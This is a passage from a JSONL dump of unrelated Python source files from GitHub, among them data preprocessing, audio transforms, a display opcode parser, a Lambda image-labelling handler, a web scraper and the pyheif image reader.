excludeTokensFromFile(rawPosDir+fileName)\n writeTextToFile(text, processedPosDir, fileName)\n posCount = posCount+1\n\n negCount = 0\n for fileName in os.listdir(rawNegDir):\n text = excludeTokensFromFile(rawNegDir+fileName)\n writeTextToFile(text, processedNegDir, fileName)\n negCount = negCount+1\n print(\"processed posCount: \" + str(posCount))\n print(\"processed negCount: \" + str(negCount))\n\ndef excludeUndesiredTokens():\n excludeTokensFromFiles(RAW_SCRAPE_DATA_DIR, PROCESSED_SCRAPE_DATA_DIR)\n excludeTokensFromFiles(RAW_ZOMBIE_SCRAPE_DATA_DIR, PROCESSED_ZOMBIE_SCRAPE_DATA_DIR)\n\ndef generateDataCombinedTar():\n os.makedirs(DATA_COMBINED+\"pos/\", exist_ok=True)\n os.makedirs(DATA_COMBINED+\"neg/\", exist_ok=True)\n\n def copyAllFiles(src, dest):\n for fileName in os.listdir(src):\n try:\n shutil.copy(src+fileName, dest+fileName)\n except:\n print(\"failed to copy: \"+fileName)\n\n copyAllFiles(PROCESSED_SCRAPE_DATA_DIR+\"pos/\", DATA_COMBINED+\"pos/\")\n copyAllFiles(PROCESSED_SCRAPE_DATA_DIR+\"neg/\", DATA_COMBINED+\"neg/\")\n copyAllFiles(PROCESSED_ZOMBIE_SCRAPE_DATA_DIR+\"neg/\", DATA_COMBINED+\"neg/\")\n\n posFileCount = len([name for name in os.listdir(DATA_COMBINED+\"pos/\") if os.path.isfile(os.path.join(DATA_COMBINED+\"pos/\", name))])\n negFileCount = len([name for name in os.listdir(DATA_COMBINED+\"neg/\") if os.path.isfile(os.path.join(DATA_COMBINED+\"neg/\", name))])\n print(\"posFileCount: \" + str(posFileCount))\n print(\"negFileCount: \" + str(negFileCount))\n\n make_tarfile(PROCESSED_DATA_DIR+\"data_combined.tar.gz\", DATA_COMBINED.rstrip(\"/\") )\n print(\"finished tar\")\n\ndef generateDataTar():\n make_tarfile(PROCESSED_DATA_DIR+\"data.tar.gz\", PROCESSED_SCRAPE_DATA_DIR.rstrip(\"/\") )\n\ndef generateDataZombieTar():\n make_tarfile(PROCESSED_DATA_DIR+\"data_zombie.tar.gz\", PROCESSED_ZOMBIE_SCRAPE_DATA_DIR.rstrip(\"/\"))\n\ndef make_tarfile(output_filename, source_dir):\n print(\"tar input dir: \" + source_dir)\n print(\"tar output file: \" + output_filename)\n\n with tarfile.open(output_filename, \"w:gz\") as tar:\n tar.add(source_dir, arcname=os.path.basename(source_dir))\n\ndef main():\n \"\"\" Runs data processing scripts to turn raw data from (../raw) into\n cleaned data ready to be analyzed (saved in ../processed).\n \"\"\"\n logger = logging.getLogger(__name__)\n logger.info('making final data set from raw data')\n\n # clean last run\n deleteDir(PROCESSED_SCRAPE_DATA_DIR)\n deleteDir(PROCESSED_ZOMBIE_SCRAPE_DATA_DIR)\n deleteDir(DATA_COMBINED)\n deleteDir(PROCESSED_DATA_DIR+\"data.tar.gz\")\n\n # processing\n excludeUndesiredTokens()\n\n generateDataTar()\n generateDataZombieTar()\n generateDataCombinedTar()\n\nif __name__ == '__main__':\n log_fmt = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n logging.basicConfig(level=logging.INFO, format=log_fmt)\n\n # not used in this stub but often useful for finding various files\n project_dir = Path(__file__).resolve().parents[2]\n\n # find .env automagically by walking up directories until it's found, then\n # load up the .env entries as environment variables\n load_dotenv(find_dotenv())\n\n main()\n","repo_name":"masubi/political-bias","sub_path":"src/data/make_dataset.py","file_name":"make_dataset.py","file_ext":"py","file_size_in_byte":5513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28378266052","text":"import requests\n\n# Constants\nQUESTIONS = 10\nQUESTION_TYPE = \"boolean\"\n\n# Parameters to pass into API\nparameters = {\n \"amount\": QUESTIONS,\n \"type\": QUESTION_TYPE,\n}\n\n# Gets data from API using our parameters above.\nresponse = requests.get(url=\"https://opentdb.com/api.php\", params=parameters)\nresponse.raise_for_status()\n\n# We save the data we pulled in a variable, then we pull the result only from that data.\ndata = response.json()\nquestion_data = data[\"results\"]\n","repo_name":"Tw3lly/python-projects","sub_path":"Hard-projects/Quizzler-app/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"74123656408","text":"import torch\nimport torch.nn as nn\nimport torchaudio\nimport torchvision\nimport torchaudio.transforms as T\nimport torchvision.transforms.functional as F\nimport torchvision.transforms as TV\nimport torch_audiomentations as TA\nfrom .config import Config\n\nfrom .constants import *\nfrom audiomentations import AddGaussianNoise, PitchShift\n\n\ndef create_stftkwargs(config: Config):\n return {\"n_fft\": config.n_fft, \"hop_length\": config.hop_length, \"power\": 1}\n\n\ndef create_melkwargs(config: Config):\n return {\"n_mels\": config.n_mels, \"f_min\": config.f_min, \"f_max\": config.f_max}\n\n\ndef create_mel_transform(config: Config):\n return T.MelSpectrogram(\n sample_rate=config.sr, **create_melkwargs(config), **create_stftkwargs(config)\n )\n\n\ndef create_mfcc_transform(config: Config):\n return T.MFCC(\n sample_rate=config.sr, n_mfcc=config.n_mfcc, melkwargs=create_melkwargs(config)\n )\n\n\ndef create_stft_transform(config: Config):\n return T.Spectrogram(**create_stftkwargs(config))\n\n\ndef create_feature_augmentations(config: Config):\n return nn.Sequential(\n T.TimeMasking(time_mask_param=config.time_mask_param),\n T.FrequencyMasking(freq_mask_param=config.freq_mask_param),\n )\n\n\ndef create_image_augmentations(config: Config):\n transforms = []\n if config.random_gaussian_blur:\n transforms.append(TV.RandomApply([TV.GaussianBlur(3)], p=0.5))\n if config.random_erasing:\n # applies with probability 0.5 by default\n transforms.append(TV.RandomErasing(inplace=True))\n if config.random_resized_crop:\n transforms.append(\n TV.RandomApply([TV.RandomResizedCrop(config.resize_size)], p=0.5)\n )\n return TV.RandomChoice(transforms)\n\n\ndef create_audio_augmentations(config: Config):\n transforms = []\n if config.random_colored_noise:\n transforms.append(TA.AddColoredNoise())\n if config.random_pitch_shift:\n transforms.append(TA.PitchShift(config.sr))\n if config.random_gain:\n transforms.append(TA.Gain())\n if config.random_low_pass_filter:\n transforms.append(TA.LowPassFilter())\n if config.random_high_pass_filter:\n transforms.append(TA.HighPassFilter())\n # return TA.Compose(transforms)\n return TA.OneOf(transforms)\n\n\ndef create_transformation(config: Config, is_trn=False):\n # apply logarithmic compression: https://arxiv.org/pdf/1709.01922.pdf\n amplitude_to_DB = T.AmplitudeToDB(\"energy\")\n\n if config.transformation.is_mel():\n mel_transform = create_mel_transform(config)\n\n if config.transformation.is_stft():\n stft_transform = create_stft_transform(config)\n\n if config.transformation.is_mfcc():\n mfcc_transform = create_mfcc_transform(config)\n\n if config.feature_augmentation:\n augmentations = create_feature_augmentations(config)\n\n if config.gaussian_blur:\n gaussian_blur = lambda x: F.gaussian_blur(\n x, config.gaussian_blur_kernel_size, config.gaussian_blur_sigma\n )\n\n if config.resize:\n resize = TV.Resize(config.resize_size)\n\n if config.image_augmentations:\n image_augmentations = create_image_augmentations(config)\n\n if config.audio_augmentations:\n audio_augmentations = create_audio_augmentations(config)\n\n def transform(signal) -> torch.Tensor:\n\n if config.audio_augmentations and is_trn:\n signal = signal.reshape(1, 1, -1)\n signal = audio_augmentations(signal, config.sr)\n signal = signal.squeeze()\n\n if config.raw_signal:\n return signal.unsqueeze(0)\n\n if config.transformation.is_mfcc():\n features = mfcc_transform(signal)\n elif config.transformation.is_stft():\n features = stft_transform(signal)\n if config.log_transformation:\n features = amplitude_to_DB(features)\n elif config.transformation.is_mel():\n features = mel_transform(signal)\n if config.log_transformation:\n features = amplitude_to_DB(features)\n else:\n raise Exception(\"unknown transformation\")\n\n if config.resize:\n features = resize(features.unsqueeze(0)).squeeze()\n\n if config.normalization.is_none():\n features = features.unsqueeze(0)\n elif config.normalization.is_global():\n # normalize globally\n normalize = lambda x: (x - x.mean()) / torch.maximum(\n x.std(), torch.tensor(1e-8)\n )\n features = normalize(features)\n features = features.unsqueeze(0)\n elif config.normalization.is_row_wise():\n # normalize features row wise\n features = features.unsqueeze(0)\n features = (features - features.mean(2).view(-1, 1)) / torch.maximum(\n features.std(2).view(-1, 1), torch.tensor(1e-8)\n )\n elif config.normalization.is_column_wise():\n # normalize features column wise\n normalize = lambda x: (x - x.mean(0)) / torch.maximum(\n x.std(0), torch.tensor(1e-8)\n )\n features = normalize(features)\n features = features.unsqueeze(0)\n else:\n raise Exception(\"unknown normalization\")\n\n if config.feature_augmentation and is_trn:\n features = augmentations(features)\n\n if config.gaussian_blur and is_trn:\n features = gaussian_blur(features)\n\n if config.image_augmentations and is_trn:\n features = image_augmentations(features)\n\n return features\n\n return transform\n","repo_name":"yermandy/vehicle-audio-nn","sub_path":"src/transformation.py","file_name":"transformation.py","file_ext":"py","file_size_in_byte":5591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"35721274630","text":"\n# // Byte operands for compressing the data\n# // The first 2 bits are the type, followed by the counts\n\nOP_MASK = 0xC0\n# 1100 0000\n\nOP_SKIPCOPY = 0x00\n\n# 0000 0000\n\nOP_COPYSKIP = 0x40\nOP_LONGCOPY = 0x40\n# 0100 0000\n\nOP_REPEATSKIP = 0x80\n# 1000 0000\n\nOP_REPEAT = 0xC0\n# 1100 0000\n\n# 0xc2 11000010\n# repeat 3\n\n# 0xb9 10111001\n# repeat 8, skip 2\n\n\n# 0x98 10011000\n# repeat 4, skip 0\n\n# 0x38 \n# 0011 1000\n\n# The data is compressed in 3 ways:\n\n# Skip - the bytes are identical to those of the previous frame\n# Copy - the bytes are different and are copied as-is\n# Repeat - a repeating byte sequence\n\n# In order to not keep a copy of the display memory on the player, the skip operations just move the write address (cursor position) on the OLED display. The bytes are packed such that the highest 2 bits of each command byte determine the treatment. They are:\n\n# 00SSSCCC - skip+copy (in that order). The 3 bit lengths of each of the skip and copy represent 0-7\n# 00000000 - special case (long skip). The next byte is the len (1-256)\n# 01CCCSSS - copy+skip (in that order). Same as above\n# 01000000 - special case (long copy). The next byte is the len (1-256)\n\n\n# 1RRRRRRR - Repeat the next byte 1-128 times.\n\n# TODO That doesn't seem to match the real parser. It expects 10RRRRRR\n#\n# 11RRRSSS - Repeat + skip (in that order).\n\n\n\nimport argparse, struct, textwrap, time\nimport numpy\n\n\nclass LongSkip(object):\n def __init__(self, skips=1):\n self.skips = skips\n \n def __repr__(self):\n return \"[LongSkip \" + str(self.skips) + \" bytes]\"\n\nclass Repeat(object):\n def __init__(self, data, repeats=1):\n self.repeats = repeats\n self.data = data\n \n def __repr__(self):\n return \"[Repeat \" + str(self.data) + \" \" + str(self.repeats) + \" times]\"\n\nclass RepeatSkip(object):\n def __init__(self, data, repeats=1, skips=0):\n self.repeats = repeats\n self.skips = skips\n self.data = data\n \n def __repr__(self):\n return \"[RepeatSkip \" + str(self.data) + \" \" + str(self.repeats) + \" times, skip \" + str(self.skips) + \"]\"\n\nclass CopySkip(object):\n def __init__(self, data, copies=1, skips=0):\n self.copies = copies\n self.skips = skips\n self.data = data\n \n def __repr__(self):\n return \"[CopySkip output \" + str(self.copies) + \" bytes: \" + str(self.data) + \", skip \" + str(self.skips) + \"]\"\n\nclass SkipCopy(object):\n def __init__(self, data, copies=1, skips=0):\n self.copies = copies\n self.skips = skips\n self.data = data\n \n def __repr__(self):\n return \"[SkipCopy skip \" + str(self.skips) + \", then output \" + str(self.copies) + \" bytes: \" + str(self.data) + \"]\"\n\nclass LongCopy(object):\n def __init__(self, data, copies=1):\n self.copies = copies\n self.data = data\n \n def __repr__(self):\n return \"[LongCopy \" + str(self.copies) + \" bytes: \" + str(self.data) + \"]\"\n\n\ndef parseFrame(compressed, args, index):\n length = len(compressed) - 1\n parsed = []\n future = None\n desired = args.width * args.height // 8\n\n blocks = 0\n offset = 0\n\n \n while blocks < desired:\n\n\n if index < length:\n\n this = compressed[index]\n\n op = this & OP_MASK\n\n if op==OP_REPEAT:\n # long repeat\n repeats = (this & 0b00111111) + 1\n datum = compressed[index + 1]\n parsed += [Repeat(data=datum, repeats=repeats)]\n offset = 2\n blocks += repeats\n \n elif op==OP_REPEATSKIP:\n # repeat/skip\n repeats = this & 0b00111000\n repeats = repeats >> 3\n \n skips = this & 0b00000111\n\n datum = compressed[index + 1]\n\n parsed += [RepeatSkip(data=datum, repeats=repeats, skips=skips)]\n\n offset = 2\n blocks += repeats + skips\n \n elif op==OP_SKIPCOPY:\n\n if this==OP_SKIPCOPY:\n # long skip\n skips = compressed[index + 1] + 1\n parsed += [LongSkip(skips)]\n offset = 2\n blocks += skips\n\n else:\n # skip/copy\n skips = this & 0b00111000\n skips = skips >> 3\n \n copies = this & 0b00000111\n\n data = compressed[index + 1 : index + 1 + copies]\n parsed += [SkipCopy(data, copies=copies, skips=skips)]\n\n offset = 1 + copies\n blocks += skips + copies\n\n elif op==OP_COPYSKIP:\n\n if this==OP_COPYSKIP:\n # long copy\n copies = compressed[index + 1] + 1\n data = compressed[index + 2 : index + 2 + copies]\n\n parsed += [LongCopy(data, copies=copies)]\n offset = 2 + copies\n blocks += copies\n\n else:\n # copy/skip\n copies = this & 0b00111000\n copies = copies >> 3\n \n skips = this & 0b00000111\n\n data = compressed[index + 1 : index + 1 + copies]\n parsed += [CopySkip(data, copies=copies, skips=skips)]\n\n offset = 1 + copies\n blocks += skips + copies\n\n index += offset\n\n if future==None:\n future = index\n\n future += offset\n\n print(\"Current local offset\", offset, \"blocks output\", blocks, \"/\", desired, \"overall file index\", index)\n else:\n return (parsed, None)\n \n return (parsed, future)\n\n\nif __name__==\"__main__\":\n\n parser = argparse.ArgumentParser(description=\"Parse binary-packed OneBitDisplay animations.\")\n parser.add_argument(\"INPUT\")\n # parser.add_argument(\"-c\", \"--c\", default=True, help=\"Read C source\")\n # parser.add_argument(\"-b\", \"--binary\", default=False, help=\"Read binary\")\n parser.add_argument(\"--width\", \"-sw\", default=128, help=\"Width of screen in pixels.\")\n \n parser.add_argument(\"--height\", \"-sh\", default=64, help=\"Height of screen in pixels.\")\n args = parser.parse_args()\n \n\n with open(args.INPUT, \"rb\") as fh:\n compressed = fh.read()\n\n frames = 0\n index = 0\n output = []\n\n while True:\n parsed, index = parseFrame(compressed, args, index)\n output += parsed\n print(\"Frame\", frames, \"results:\", parsed)\n\n frames += 1\n if index==None:\n break\n \n # print(\"Total decoded bitstream:\", output)\n\n","repo_name":"combs/Python_OneBitDisplay_Animator","sub_path":"OBDParseOpcodes.py","file_name":"OBDParseOpcodes.py","file_ext":"py","file_size_in_byte":6782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34481039462","text":"import numpy as np\nfrom sys import exit\n\n\n## Rezolvarea unui sistem cu substituția descendentă\n\n# Datele de intrare\nU = np.array([[2, -1, -2], [0, 4, 4], [0, 0, 1]], dtype=float)\n\n# Vectorul coloană în care pun termenii liberi\nC = np.array([[-1, 8, 1]], dtype=float).T\n\n# Dimensiunea matricei\nN = U.shape[0]\n\n# Verific dacă are soluții\ndeterminant = np.linalg.det(U)\n\nif np.abs(determinant) < 1e-14:\n print(\"System has no solutions\")\n exit(1)\n\nx = np.zeros(N)\n\n# Merg de la ultima linie către prima,\n# și rezolv pe rând ecuațiile prin substituție\nfor i in range(N - 1, -1, -1):\n coefs = U[i, i + 1:]\n values = x[i + 1:]\n\n x[i] = (C[i] - coefs @ values) / U[i, i]\n\n print(\"Pasul\", N - i, \":\",\n C[i], \"-\", coefs, \"@\", values, \")\",\n \"/\", U[i, i])\n\nprint(x)\n","repo_name":"GabrielMajeri/teme-fmi","sub_path":"cn/laborator/lab3.py","file_name":"lab3.py","file_ext":"py","file_size_in_byte":801,"program_lang":"python","lang":"ro","doc_type":"code","stars":61,"dataset":"github-code","pt":"31"} +{"seq_id":"18146705704","text":"column_count = 7\r\nrow_count = 6\r\n\r\n\r\nclass Player:\r\n def __init__(self, name):\r\n self.name = name\r\n\r\n def getName(self):\r\n return self.name\r\n\r\n def getMove(self, board):\r\n move = int(input(f\"{self.name} Turn (Select Column 0, 1, 2, 3, 4, 5, 6):\"))\r\n while move < 0 or move > 6 or not self.checkLegalMove(board, move):\r\n print(\"Illegal Move\")\r\n move = int(input(f\"{self.name} Turn (Select Column 0, 1, 2, 3, 4, 5, 6):\"))\r\n return move\r\n\r\n def doMove(self, board, move, turn):\r\n for row in range(-1, -8, -1):\r\n if board[row][move] == 0:\r\n board[row][move] = turn + 1\r\n break\r\n return row\r\n\r\n def checkLegalMove(self, board, move):\r\n if move < 0 or move > 6:\r\n return False\r\n for row in range(row_count):\r\n if board[row][move] == 0:\r\n return True\r\n return False\r\n","repo_name":"RadwanAtme/CheckFour","sub_path":"Player.py","file_name":"Player.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20540751900","text":"import os\nimport boto3\nimport redis\nimport json\nimport urllib\nfrom datetime import datetime\n\nprint('Loading produce function')\n\nrekognition = boto3.client('rekognition')\nredis = redis.Redis(host=os.environ['REDIS_MASTER_ENDPOINT'], port=6379, db=0)\n\n\ndef detect_labels(bucket, key):\n try:\n response = rekognition.detect_labels(\n Image={\n 'S3Object': {\n 'Bucket': bucket,\n 'Name': key\n }\n },\n MaxLabels=3,\n MinConfidence=90\n )\n return response\n except Exception as e:\n print(e)\n raise e\n\n\ndef lambda_handler(event, context):\n print(\"Received event: \" + json.dumps(event, indent=2))\n bucket = event['Records'][0]['s3']['bucket']['name']\n key = urllib.parse.quote_plus(event['Records'][0]['s3']['object']['key'].encode('utf8'))\n print(\"Image file is {}\".format(key))\n try:\n response = detect_labels(bucket, key)\n cat_food = (\n 'Bread' in json.dumps(response['Labels']) or\n 'Fish' in json.dumps(response['Labels']) or\n 'Milk' in json.dumps(response['Labels'])\n )\n\n if cat_food is True:\n redis.set('last_fed_timestamps', '{}'.format(datetime.now()))\n redis.set('cat_status', 'ok')\n redis.set('MESSAGE_FED_SENT', 'False')\n redis.set('MESSAGE_NOT_FED_SENT ', 'False')\n print('Updated timestamps in Elastic-Cache')\n print('Given Food to cat')\n else:\n print('Not a right food for cat')\n\n return response['Labels']\n except Exception as e:\n print(e)\n print(\"Error processing object {} from bucket {}. \".format(key, bucket) +\n \"Make sure your object and bucket exist and your bucket is in the same region as this function.\")\n raise e\n","repo_name":"Amos-85/api-and-cats","sub_path":"src/s3_listener/s3_listener.py","file_name":"s3_listener.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"42158178323","text":"#Solution of Practice Set Q4\nimport os\n\nS = set()\nS.add(20)\nS.add(20.0) #Int and Float are considred same thing for Same value meaning 20 = 20.0 in Sets\nS.add(\"20\")\n\nprint(len(S))\nprint(S)\n\n","repo_name":"sagargoswami2001/MyCode-For-CodeWithHarry-Python-video","sub_path":"Chapter 5/Practice set/Q4.py","file_name":"Q4.py","file_ext":"py","file_size_in_byte":190,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"31761645827","text":"import pathlib\nimport warnings\n\nimport _libheif_cffi\nfrom . import constants as _constants\nfrom . import error as _error\n\n\nclass HeifFile:\n def __init__(\n self, *, size, data, metadata, color_profile, has_alpha, bit_depth, stride\n ):\n self.size = size\n self.data = data\n self.metadata = metadata\n self.color_profile = color_profile\n self.has_alpha = has_alpha\n self.mode = \"RGBA\" if has_alpha else \"RGB\"\n self.bit_depth = bit_depth\n self.stride = stride\n\n\ndef check(fp):\n d = _get_bytes(fp)\n magic = d[:12]\n filetype_check = _libheif_cffi.lib.heif_check_filetype(magic, len(magic))\n return filetype_check\n\n\ndef read_heif(fp, apply_transformations=True):\n warnings.warn(\"read_heif is deprecated, use read instead\", DeprecationWarning)\n return read(fp, apply_transformations=apply_transformations)\n\n\ndef read(fp, *, apply_transformations=True, convert_hdr_to_8bit=True):\n d = _get_bytes(fp)\n result = _read_heif_bytes(d, apply_transformations, convert_hdr_to_8bit)\n return result\n\n\ndef _get_bytes(fp):\n if isinstance(fp, str):\n with open(fp, \"rb\") as f:\n d = f.read()\n elif isinstance(fp, bytearray):\n d = bytes(fp)\n elif isinstance(fp, pathlib.Path):\n d = fp.read_bytes()\n elif hasattr(fp, \"read\"):\n d = fp.read()\n else:\n d = fp\n\n if not isinstance(d, bytes):\n raise ValueError(\n \"Input must be file name, bytes, byte array, path or file-like object\"\n )\n\n return d\n\n\ndef _read_heif_bytes(d, apply_transformations, convert_hdr_to_8bit):\n magic = d[:12]\n filetype_check = _libheif_cffi.lib.heif_check_filetype(magic, len(magic))\n if filetype_check == _constants.heif_filetype_no:\n raise ValueError(\"Input is not a HEIF/AVIF file\")\n elif filetype_check == _constants.heif_filetype_yes_unsupported:\n warnings.warn(\"Input is an unsupported HEIF/AVIF file type - trying anyway!\")\n\n ctx = _libheif_cffi.lib.heif_context_alloc()\n try:\n result = _read_heif_context(ctx, d, apply_transformations, convert_hdr_to_8bit)\n finally:\n _libheif_cffi.lib.heif_context_free(ctx)\n return result\n\n\ndef _read_heif_context(ctx, d, apply_transformations, convert_hdr_to_8bit):\n error = _libheif_cffi.lib.heif_context_read_from_memory_without_copy(\n ctx, d, len(d), _libheif_cffi.ffi.NULL\n )\n if error.code != 0:\n raise _error.HeifError(\n code=error.code,\n subcode=error.subcode,\n message=_libheif_cffi.ffi.string(error.message).decode(),\n )\n\n p_handle = _libheif_cffi.ffi.new(\"struct heif_image_handle **\")\n error = _libheif_cffi.lib.heif_context_get_primary_image_handle(ctx, p_handle)\n if error.code != 0:\n raise _error.HeifError(\n code=error.code,\n subcode=error.subcode,\n message=_libheif_cffi.ffi.string(error.message).decode(),\n )\n handle = p_handle[0]\n\n try:\n result = _read_heif_handle(handle, apply_transformations, convert_hdr_to_8bit)\n finally:\n _libheif_cffi.lib.heif_image_handle_release(handle)\n return result\n\n\ndef _read_heif_handle(handle, apply_transformations, convert_hdr_to_8bit):\n width = _libheif_cffi.lib.heif_image_handle_get_width(handle)\n height = _libheif_cffi.lib.heif_image_handle_get_height(handle)\n size = (width, height)\n\n has_alpha = bool(_libheif_cffi.lib.heif_image_handle_has_alpha_channel(handle))\n bit_depth = _libheif_cffi.lib.heif_image_handle_get_luma_bits_per_pixel(handle)\n colorspace = _constants.heif_colorspace_RGB\n if convert_hdr_to_8bit or bit_depth <= 8:\n if has_alpha:\n chroma = _constants.heif_chroma_interleaved_RGBA\n else:\n chroma = _constants.heif_chroma_interleaved_RGB\n else:\n if has_alpha:\n chroma = _constants.heif_chroma_interleaved_RRGGBBAA_BE\n else:\n chroma = _constants.heif_chroma_interleaved_RRGGBB_BE\n\n p_options = _libheif_cffi.lib.heif_decoding_options_alloc()\n p_options.ignore_transformations = int(not apply_transformations)\n p_options.convert_hdr_to_8bit = int(convert_hdr_to_8bit)\n\n p_img = _libheif_cffi.ffi.new(\"struct heif_image **\")\n error = _libheif_cffi.lib.heif_decode_image(\n handle, p_img, colorspace, chroma, p_options,\n )\n _libheif_cffi.lib.heif_decoding_options_free(p_options)\n if error.code != 0:\n raise _error.HeifError(\n code=error.code,\n subcode=error.subcode,\n message=_libheif_cffi.ffi.string(error.message).decode(),\n )\n img = p_img[0]\n\n try:\n data, stride = _read_heif_image(img, height)\n finally:\n _libheif_cffi.lib.heif_image_release(img)\n\n metadata = _read_metadata(handle)\n color_profile = _read_color_profile(handle)\n\n heif_file = HeifFile(\n size=size,\n data=data,\n metadata=metadata,\n color_profile=color_profile,\n has_alpha=has_alpha,\n bit_depth=bit_depth,\n stride=stride,\n )\n return heif_file\n\n\ndef _read_metadata(handle):\n block_count = _libheif_cffi.lib.heif_image_handle_get_number_of_metadata_blocks(\n handle, _libheif_cffi.ffi.NULL\n )\n if block_count == 0:\n return\n\n metadata = []\n ids = _libheif_cffi.ffi.new(\"heif_item_id[]\", block_count)\n _libheif_cffi.lib.heif_image_handle_get_list_of_metadata_block_IDs(\n handle, _libheif_cffi.ffi.NULL, ids, block_count\n )\n for i in range(len(ids)):\n metadata_type = _libheif_cffi.lib.heif_image_handle_get_metadata_type(\n handle, ids[i]\n )\n metadata_type = _libheif_cffi.ffi.string(metadata_type).decode()\n data_length = _libheif_cffi.lib.heif_image_handle_get_metadata_size(\n handle, ids[i]\n )\n p_data = _libheif_cffi.ffi.new(\"char[]\", data_length)\n error = _libheif_cffi.lib.heif_image_handle_get_metadata(handle, ids[i], p_data)\n if error.code != 0:\n raise _error.HeifError(\n code=error.code,\n subcode=error.subcode,\n message=_libheif_cffi.ffi.string(error.message).decode(),\n )\n data_buffer = _libheif_cffi.ffi.buffer(p_data, data_length)\n data = bytes(data_buffer)\n if metadata_type == \"Exif\":\n # skip TIFF header, first 4 bytes\n data = data[4:]\n metadata.append({\"type\": metadata_type, \"data\": data})\n\n return metadata\n\n\ndef _read_color_profile(handle):\n profile_type = _libheif_cffi.lib.heif_image_handle_get_color_profile_type(handle)\n if profile_type == _constants.heif_color_profile_type_not_present:\n return\n\n color_profile = {\"type\": \"unknown\", \"data\": None}\n if profile_type == _constants.heif_color_profile_type_nclx:\n color_profile[\"type\"] = \"nclx\"\n elif profile_type == _constants.heif_color_profile_type_rICC:\n color_profile[\"type\"] = \"rICC\"\n elif profile_type == _constants.heif_color_profile_type_prof:\n color_profile[\"type\"] = \"prof\"\n data_length = _libheif_cffi.lib.heif_image_handle_get_raw_color_profile_size(handle)\n p_data = _libheif_cffi.ffi.new(\"char[]\", data_length)\n error = _libheif_cffi.lib.heif_image_handle_get_raw_color_profile(handle, p_data)\n if error.code != 0:\n raise _error.HeifError(\n code=error.code,\n subcode=error.subcode,\n message=_libheif_cffi.ffi.string(error.message).decode(),\n )\n data_buffer = _libheif_cffi.ffi.buffer(p_data, data_length)\n data = bytes(data_buffer)\n color_profile[\"data\"] = data\n\n return color_profile\n\n\ndef _read_heif_image(img, height):\n p_stride = _libheif_cffi.ffi.new(\"int *\")\n p_data = _libheif_cffi.lib.heif_image_get_plane_readonly(\n img, _constants.heif_channel_interleaved, p_stride\n )\n stride = p_stride[0]\n\n data_length = height * stride\n data_buffer = _libheif_cffi.ffi.buffer(p_data, data_length)\n data = bytes(data_buffer)\n\n return data, stride\n","repo_name":"LeonDante-ctrl/ipee-4","sub_path":"venv/lib/python3.8/site-packages/pyheif/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":8086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22814934393","text":"from bs4 import BeautifulSoup\nimport requests\nimport random\nimport re\n\ndef scraping():\n ng_list = [\"the bridge\"]\n html = requests.get('https://thebridge.jp/')\n soup = BeautifulSoup(html.text, \"html.parser\")\n article = soup.find(class_=\"articles\")\n title = article.find(class_=\"entry-title\").string\n for i in ng_list:\n if i in title:\n return\n reporter = ''\n try:\n reporter = soup.find(class_=\"text-muted\").text\n reporter = reporter[4:]\n except:\n print(\"reporter not found\")\n image = soup.find(class_=\"entry-thumbnail\")\n image = image.a.get(\"style\")\n url = article.a.get(\"href\")\n html = requests.get(url)\n soup = BeautifulSoup(html.text, \"html.parser\")\n soup = soup.find(class_=\"post-body\")\n text = ''.join([s.text for s in soup.find_all(\"p\")])\n return {'article_text':text,'article_title':title, 'article_url':url,'article_reporter':reporter.split('\\n')[0], 'site_name':'the_bridge','article_image': image.split('url(')[1][:-1]}\n\nif __name__ == \"__main__\":\n print(scraping())\n","repo_name":"kanazawa-pri/random-admin","sub_path":"random-admin/app/scrapings/the_bridge.py","file_name":"the_bridge.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41801669852","text":"# -*- coding: utf-8 -*-\n\n\n# Standard imports\nimport os\nimport sys\nimport io\nfrom pathlib import Path\nfrom typing import Dict, List, Tuple, Union, Optional\n\n# External imports\nimport numpy as np\nimport mdtraj as md\nfrom multiprocessing import current_process\nimport pandas as pd\n\n# Local imports\n# SCRIPT_PATH = os.path.dirname(__file__)\n# sys.path.append(os.path.abspath(SCRIPT_PATH))\nfrom .Utils import squared_distances\nfrom .Template import ImpactTemplate\nfrom .PELEIterator import SimIt\n\n\n# Script information\n__author__ = \"Marti Municoy\"\n__license__ = \"GPL\"\n__version__ = \"1.0.1\"\n__maintainer__ = \"Marti Municoy\"\n__email__ = \"marti.municoy@bsc.es\"\n\n\n# Constants\nFOUR_THIRDS_PI = 4.1887902047863905\n\n\nclass Residue(object):\n def __init__(self, chain_id: int, res_id: int):\n if (not isinstance(chain_id, int)):\n raise TypeError('Invalid \\'chain_id\\', it must be an integer')\n self._chain_id = chain_id\n if (not isinstance(res_id, int)):\n raise TypeError('Invalid \\'res_id\\', it must be an integer')\n self._res_id = res_id\n\n @property\n def chain_id(self) -> int:\n return self._chain_id\n\n @property\n def res_id(self) -> int:\n return self._res_id\n\n def __repr__(self) -> str:\n return \"{}:{}\".format(self.chain_id, self.res_id)\n\n\nclass ChainConverterForMDTraj(object):\n def __init__(self, path_to_trajectory: str):\n self._path_to_trajectory = path_to_trajectory\n self._map = {} # type: Dict[str, int]\n self._build_map()\n\n @property\n def path_to_trajectory(self) -> str:\n return self._path_to_trajectory\n\n @property\n def map(self) -> Dict[str, int]:\n return self._map\n\n def _build_map(self):\n with open(self.path_to_trajectory, 'r') as f:\n self._map = {}\n id_counter = 0\n for line in f:\n if (len(line) > 80):\n chain = line[21]\n\n if (chain not in self.map):\n self.map[chain.upper()] = id_counter\n id_counter += 1\n\n\nclass Point(np.ndarray):\n def 